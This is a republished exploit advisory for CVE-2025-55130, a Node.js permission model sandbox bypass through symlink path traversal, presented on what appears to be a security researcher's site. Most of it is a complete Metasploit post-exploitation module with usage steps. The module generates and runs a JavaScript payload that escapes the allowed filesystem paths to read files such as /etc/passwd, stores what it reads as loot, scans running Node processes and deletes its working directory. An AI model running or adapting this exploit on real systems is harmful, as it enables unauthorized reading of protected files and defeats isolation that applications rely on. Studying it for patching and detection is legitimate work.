Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Node.js 25.x Permission Model Sandbox Bypass / Path Traversal
Node.js 25.x Permission Model Sandbox Bypass / Path Traversal
Node.js 25.x Permission Model Sandbox Bypass / Path Traversal

=============================================================================================================================================
| # Node.js 25.x Permission Model Sandbox Bypass / Path Traversal

=============================================================================================================================================
| # Title : Node.js 25.x Permission Model Sandbox Bypass via Symlink Path Traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://nodejs.org/en |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214705/ & CVE-2025-55130

[+] Summary : This module validates a sandbox escape weakness in the Node.js permission model that allows restricted file access bypass through symlink-based path traversal.
When Node.js is executed with the --permission flag and limited filesystem read/write paths, the permission checks rely on logical paths but fail to revalidate resolved real paths after symlink resolution.
As a result, an attacker with local code execution in a Node.js runtime can read files outside the permitted filesystem scope, violating the intended sandbox guarantees.
This issue does not result in system privilege escalation; instead, it represents a runtime security boundary bypass within Node.js applications that depend on the permission model for isolation.
The module is implemented as a post-exploitation verification tool, safely demonstrating the weakness and optionally confirming exploitability without modifying system state.

[+] Usage :

1. Basic Testing:

use post/multi/nodejs/sandbox_bypass
set SESSION 1
set TARGET_FILE /etc/passwd
run

2. With Process Checking:

use post/multi/nodejs/sandbox_bypass
set SESSION 1
set SCAN_NODE_PROCESSES true
set CHECK_PERMISSIONS true
run

3. Safe Testing Mode:

use post/multi/nodejs/sandbox_bypass
set SESSION 1
set TEST_MODE true
set AUTOREMOVE true
run

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Node.js Permission Model Sandbox Bypass File Reader',
'Description' => %q{
This module exploits CVE-2025-55130, a Node.js permission model bypass
vulnerability that allows escaping the --allow-fs-read/write sandbox restrictions
via symlink path traversal.

The module must be executed in a Meterpreter session where the target
system has a vulnerable Node.js installation with permission model enabled.
It demonstrates sandbox escape by reading arbitrary files from the filesystem
that should be restricted by the permission model.

Note: This is NOT a privilege escalation exploit. It bypasses Node.js
permission model sandbox restrictions when Node.js is already running with
--permission flag. It does not elevate system privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-55130'],
['URL', 'https://securityonline.info/cve-2025-55130-node-js-permission-model-bypass-sandbox-escape-vulnerability/']
],
'Platform' => ['nodejs', 'unix', 'linux'],
'Arch' => [ARCH_NODEJS, ARCH_X64, ARCH_X86],
'SessionTypes' => ['meterpreter', 'shell'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Type' => 'sandbox_escape',
'AKA' => ['Node.js Permission Model Bypass']
}
))

register_options([
OptString.new('TARGET_FILE', [
true,
'File to attempt reading (must be outside allowed paths)',
'/etc/passwd'
]),
OptString.new('NODE_PATH', [
false,
'Path to Node.js executable (auto-detected if not set)',
''
]),
OptString.new('ALLOWED_PATH', [
true,
'Path that would be allowed in --allow-fs-read/write',
'/tmp'
]),
OptBool.new('AUTOREMOVE', [
true,
'Automatically remove exploit files',
true
]),
OptString.new('WRITEABLE_DIR', [
true,
'Writable directory for exploit files',
'/tmp'
]),
OptBool.new('CHECK_PERMISSIONS', [
true,
'Check if Node.js processes are running with permission model',
true
]),
OptBool.new('SCAN_NODE_PROCESSES', [
true,
'Scan for running Node.js processes with permission flags',
false
])
])

register_advanced_options([
OptBool.new('VERIFY_READ', [
true,
'Verify file can be read after exploit',
true
]),
OptInt.new('EXPLOIT_TIMEOUT', [
true,
'Timeout for exploit execution (seconds)',
30
]),
OptBool.new('TEST_MODE', [
true,
'Test mode - create test file instead of reading target',
false
])
])
end

def run
print_status("Starting Node.js Permission Model Sandbox Bypass Module")

unless session
fail_with(Failure::BadConfig, "This module requires an active session")
end

node_path = detect_nodejs
unless node_path
fail_with(Failure::NotFound, "Node.js not found on target system")
end

print_status("Detected Node.js at: #{node_path}")

node_info = check_nodejs_info(node_path)

if datastore['SCAN_NODE_PROCESSES']
scan_node_processes
end

unless node_info[:has_permission_model]
print_warning("Node.js version #{node_info[:version]} may not support permission model")
print_warning("Exploit requires Node.js with permission model enabled")

unless datastore['CHECK_PERMISSIONS']
if Rex::Version.new(node_info[:version]) < Rex::Version.new('20.0.0')
print_warning("Permission model was experimental before Node.js 20")
end
end
end

exploit_dir = create_exploit_dir
exploit_file = generate_and_upload_exploit(exploit_dir)

execute_exploit(node_path, exploit_file, exploit_dir, node_info)

cleanup_exploit(exploit_dir) if datastore['AUTOREMOVE']
end

def detect_nodejs
if datastore['NODE_PATH'].present?
if file_exist?(datastore['NODE_PATH']) && executable?(datastore['NODE_PATH'])
return datastore['NODE_PATH']
else
print_warning("Provided NODE_PATH does not exist or is not executable")
end
end

possible_paths = [
'/usr/bin/node',
'/usr/local/bin/node',
'/opt/homebrew/bin/node',
'/bin/node',
'node'
]

possible_paths.each do |path|
if command_exists?(path)
print_good("Found Node.js at: #{path}")
return path
end
end

nil
end

def command_exists?(cmd)
result = cmd_exec("command -v #{cmd} 2>/dev/null")
result.present? && result.include?(cmd)
end

def executable?(path)
result = cmd_exec("test -x '#{path}' && echo 'executable'")
result.include?('executable')
end

def check_nodejs_info(node_path)
print_status("Checking Node.js information...")

info = {
version: 'unknown',
has_permission_model: false,
supports_experimental: false
}

version_output = cmd_exec("#{node_path} --version")
if version_output =~ /v(\d+\.\d+\.\d+)/
info[:version] = $1
print_status("Node.js version: #{version_output.strip}")
else
print_warning("Could not parse Node.js version")
end

check_cmd = "#{node_path} -e \"console.log(typeof process.permission !== 'undefined' ? 'HAS_PERMISSION_MODEL' : 'NO_PERMISSION_MODEL')\""
permission_check = cmd_exec(check_cmd)

if permission_check.include?('HAS_PERMISSION_MODEL')
info[:has_permission_model] = true
print_good("Node.js has permission model support")
else
print_warning("Node.js does not have permission model support or running without --permission flag")
end

experimental_check = cmd_exec("#{node_path} --experimental-permission --version 2>&1")
if experimental_check.include?('experimental')
info[:supports_experimental] = true
print_status("Node.js supports --experimental-permission flag")
end

info
end

def scan_node_processes
print_status("Scanning for running Node.js processes with permission model...")

ps_cmd = "ps aux | grep -E 'node|nodejs' | grep -v grep"
processes = cmd_exec(ps_cmd)

if processes.present?
print_status("Found Node.js processes:")
print_line(processes)

permission_processes = processes.split("\n").select do |line|
line.include?('--permission') || line.include?('--experimental-permission') ||
line.include?('--allow-fs-read') || line.include?('--allow-fs-write')
end

if permission_processes.any?
print_good("Found #{permission_processes.count} Node.js process(es) running with permission model:")
permission_processes.each do |proc|
print_line(" #{proc}")
end

permission_processes.each_with_index do |proc, idx|
pid = proc.split[1]
cmdline = proc.split[10..-1].join(' ')

print_status("Process #{idx+1}: PID=#{pid}, Command=#{cmdline}")
proc_cwd = cmd_exec("ls -la /proc/#{pid}/cwd 2>/dev/null")
if proc_cwd.present?
print_status(" CWD: #{proc_cwd}")
end
end
else
print_warning("No Node.js processes found running with permission model flags")
end
else
print_status("No Node.js processes found running")
end
end

def create_exploit_dir
writable_dir = datastore['WRITEABLE_DIR']
exploit_dir = "#{writable_dir}/.node_sandbox_test_#{Rex::Text.rand_text_alpha(8)}"

print_status("Creating exploit directory: #{exploit_dir}")
cmd_exec("mkdir -p #{exploit_dir}")

allowed_subdir = "#{exploit_dir}/allowed"
cmd_exec("mkdir -p #{allowed_subdir}")

exploit_dir
end

def generate_and_upload_exploit(exploit_dir)
target_file = datastore['TEST_MODE'] ? "#{exploit_dir}/test_secret.txt" : datastore['TARGET_FILE']
allowed_path = datastore['ALLOWED_PATH']

if datastore['TEST_MODE']
test_content = "SECRET_TEST_CONTENT_#{Rex::Text.rand_text_alpha(16)}"
write_file(target_file, test_content)
print_status("Created test file: #{target_file}")
end

exploit_js = <<~JS
const fs = require('fs');
const path = require('path');

const TARGET = '#{target_file}';
const ALLOWED_PATH = '#{allowed_path}';
const CHAIN = './pwn/a/b/c/d/e/f';

console.log(`
===========================================================
Node.js Permission Model Sandbox Bypass Test by indoushka
===========================================================
Target file: \${TARGET}
Allowed path: \${ALLOWED_PATH}
Current directory: \${__dirname}
Node version: \${process.version}
=====================================================
`);

// Check if permission model is active
if (typeof process.permission === 'undefined') {
console.log('[!] PERMISSION MODEL NOT ACTIVE');
console.log('[!] Node.js must be run with: --permission --allow-fs-read=. --allow-fs-write=.');
console.log('[!] Without permission model, this is just a symlink test');
console.log('[!] Continuing test anyway...\\n');
} else {
console.log('[+] Permission model is active');
console.log('[+] Testing sandbox bypass...\\n');
}

console.log('[*] Creating symlink chain structure...');

try {
fs.rmSync('./pwn', { recursive: true, force: true });
} catch(e) {}

fs.mkdirSync(CHAIN, { recursive: true });
fs.symlinkSync(__dirname, CHAIN + '/link');

const depth = __dirname.split('/').filter(Boolean).length;
const traversal = '../'.repeat(depth);
const payload = `\${CHAIN}/link/\${traversal}\${TARGET.replace(/^\\//, '')}`;
console.log('[*] Symlink chain created');
console.log('[*] Traversal depth: ' + depth);
console.log('[*] Payload path: ' + payload);
console.log('[*] Attempting to read target file...\\n');

try {
const data = fs.readFileSync(payload, 'utf8');
console.log('[+] SUCCESS: File read through sandbox bypass!\\n');
console.log('--- BEGIN FILE CONTENT ---');
console.log(data);
console.log('--- END FILE CONTENT ---\\n');

if (typeof process.permission !== 'undefined') {
console.log('[+] NODE.JS PERMISSION MODEL BYPASS CONFIRMED');
console.log('[+] CVE-2025-55130 is exploitable on this system');
} else {
console.log('[+] Symlink traversal works, but permission model not active');
}

process.exit(0);

} catch (err) {
console.log('[-] FAILED to read file');
console.log('[-] Error: ' + err.code + ' - ' + err.message);

if (err.code === 'ERR_ACCESS_DENIED') {
console.log('[-] Permission model blocked access');
console.log('[-] System may be patched or not vulnerable');
} else if (err.code === 'ENOENT') {
console.log('[-] Target file does not exist');
}

process.exit(1);
}

try {
fs.rmSync('./pwn', { recursive: true, force: true });
} catch(e) {}
JS

exploit_file = "#{exploit_dir}/sandbox_bypass.js"
write_file(exploit_file, exploit_js)
cmd_exec("chmod +x #{exploit_file}")

print_status("Exploit script written to: #{exploit_file}")
exploit_file
end

def execute_exploit(node_path, exploit_file, exploit_dir, node_info)
print_status("Executing sandbox bypass test...")

cmd_exec("cd #{exploit_dir}")

flags = '--permission'
unless node_info[:has_permission_model]
print_warning("Node.js may not support permission model, trying experimental flag")
flags = '--experimental-permission' if node_info[:supports_experimental]
end

allowed_path = "."

exploit_cmd = "#{node_path} #{flags} --allow-fs-read=#{allowed_path} --allow-fs-write=#{allowed_path} #{exploit_file}"

print_status("Running command: #{exploit_cmd}")
result = cmd_exec(exploit_cmd, datastore['EXPLOIT_TIMEOUT'])

parse_exploit_result(result, exploit_dir)
end

def parse_exploit_result(result, exploit_dir)
print_status("Exploit output:")
print_line(result)

if result.include?('SUCCESS: File read through sandbox bypass!')
print_good("? Sandbox bypass successful!")

if result =~ /--- BEGIN FILE CONTENT ---(.*?)--- END FILE CONTENT ---/m
file_content = $1.strip

print_good("File content read successfully")

loot_name = datastore['TEST_MODE'] ? 'nodejs_sandbox_test' : datastore['TARGET_FILE'].gsub('/', '_')

loot_path = store_loot(
'nodejs.sandbox.bypass',
'text/plain',
session,
file_content,
loot_name,
"Node.js Permission Model Sandbox Bypass - #{datastore['TARGET_FILE']}"
)

print_good("Content saved to: #{loot_path}")
end

if result.include?('PERMISSION MODEL BYPASS CONFIRMED')
print_good(" CVE-2025-55130 confirmed exploitable on this system")

report_vuln(
host: session.session_host,
name: 'Node.js Permission Model Sandbox Bypass',
refs: references,
info: "Node.js permission model bypass via symlink path traversal (CVE-2025-55130)"
)
end

elsif result.include?('Permission model blocked access')
print_error(" Permission model prevented access - may be patched")
elsif result.include?('PERMISSION MODEL NOT ACTIVE')
print_warning(" Permission model not active during test")
print_warning("This test only confirms symlink traversal works")
print_warning("To test sandbox bypass, Node.js must run with --permission flag")
else
print_error(" Exploit failed or produced unexpected output")
end

print_status("=" * 60)
print_status("SUMMARY:")
print_status(" - Node.js Sandbox Bypass Test Completed")
print_status(" - Exploit Directory: #{exploit_dir}")
print_status(" - Target File: #{datastore['TARGET_FILE']}")
print_status(" - Test Mode: #{datastore['TEST_MODE'] ? 'Enabled' : 'Disabled'}")
print_status("=" * 60)
end

def cleanup_exploit(exploit_dir)
print_status("Cleaning up exploit directory: #{exploit_dir}")
cmd_exec("rm -rf #{exploit_dir}")
end
end

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================
Social Media Share